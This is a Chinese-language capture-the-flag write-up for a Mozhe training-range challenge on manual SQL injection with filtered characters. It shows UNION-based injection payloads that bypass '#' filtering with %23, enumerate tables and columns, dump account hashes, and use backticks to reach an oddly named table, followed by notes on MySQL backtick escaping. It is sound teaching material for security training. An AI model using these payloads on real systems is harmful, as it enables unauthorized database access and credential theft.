墨者 / 靶场writeup · 2021年9月13日 0

墨者-SQL过滤字符后手工注入漏洞测试(第3题)WP

一、靶场信息

背景介绍

安全工程师”墨者”最近在练习搭建一个采购系统,为了安全起见,“墨者”对该系统做了部分防护措施,请你帮助他测试系统是否安全。

实训目标

1、掌握SQL注入原理;

2、了解手工注入的方法;

3、了解MySQL的数据结构;

4、了解SQL注入常用注释字符;

5、了解sql注入常用绕过姿势;

解题方向

手工进行SQL注入测试,获取管理密码登录。

二、解题

进入靶场

发现注入点

在登入下方的公告发现疑似注入点?id=1

对注入点进行测试

?id=1′ —出现报错,报错信息显示MySQL 确定存在sql注入,且数据库为mysql

?id=1‘# —正确显示,确定是字符型注入

开始注入

查询字段数(经测试,发现过滤#,使用%23替代)

id=1′ order by 7%23 //字段数为7时,显示正常

判读显错位

id=-1′ union select 1,2,3,4,5,6,7%23

显错位出现在2,3,4,5

查库名

id=-1′ union select 1,2,3,4,database(),6,7%23

数据库名为:min_ju4t_mel1i

查表名

?id=-1′ union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()%23

查到4张表,表名为(@dmin9_td4b},notice,stormgroup_member,tdb_goods

这里发现一张奇怪的表名和member表,先查询stormgroup_member表

查询stormgroup_member表的字段名

?id=-1′ union select 1,2,3,group_concat(name),group_concat(password),6,7 from stormgroup_member%23

发现name与password

查询字段内容

?id=-1′ union select 1,2,3,group_concat(name),group_concat(password),6,7 from stormgroup_member%23

得到5个账号与MD5加密后的密码

使用MD5解密网站解密,发现密码均无法使用,只能再查询其余表

查询(@dmin9_td4b}表的字段名

?id=-1′ union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='(@dmin9_td4b}’%23

发现敏感字段username与password

查询字段内容

?id=-1′ union select 1,2,3,group_concat(username),group_concat(password),6,7 from (@dmin9_td4b}%23

出现报错,原因为此表名存在特殊符号 ( } 等,所以需要在这个表名处增加反引号`,用于说明反引号内是一个表名或列名,这样来保证输入语句时,识别到正确的表名为 (@dmin9_td4b}

添加反引号

?id=-1′ union select 1,2,3,group_concat(username),group_concat(password),6,7 from `(@dmin9_td4b}`%23

查询到另一组账号密码,经测试

mozhe3 : efa8b266b6314554cb47ca896043ded5 为正确账号密码

解密后密码为580629

登录后台

成功拿到KEY

三、mysql反引号

` 符号是 MySQL 的转义符,避免和 mysql 的本身的关键字冲突,只要你不在列名、表名中使用 mysql 的保留字或中文,就不需要转义。

所有的数据库都有类似的设置,不过mysql用的是`而已。通常用来说明其中的内容是数据库名、表名、字段名,不是关键字。
例如:

select from from table;

第一个from是字段名,最后的table表名,但是同时也是mysql关键字,这样执行的时候就会报错,所以应该使用

select `from` from `table`;

当然,为了便于阅读,不建议使用关键字作为字段名、表名,同时,应该对数据库名、表名、字段名用一对儿反引号包含。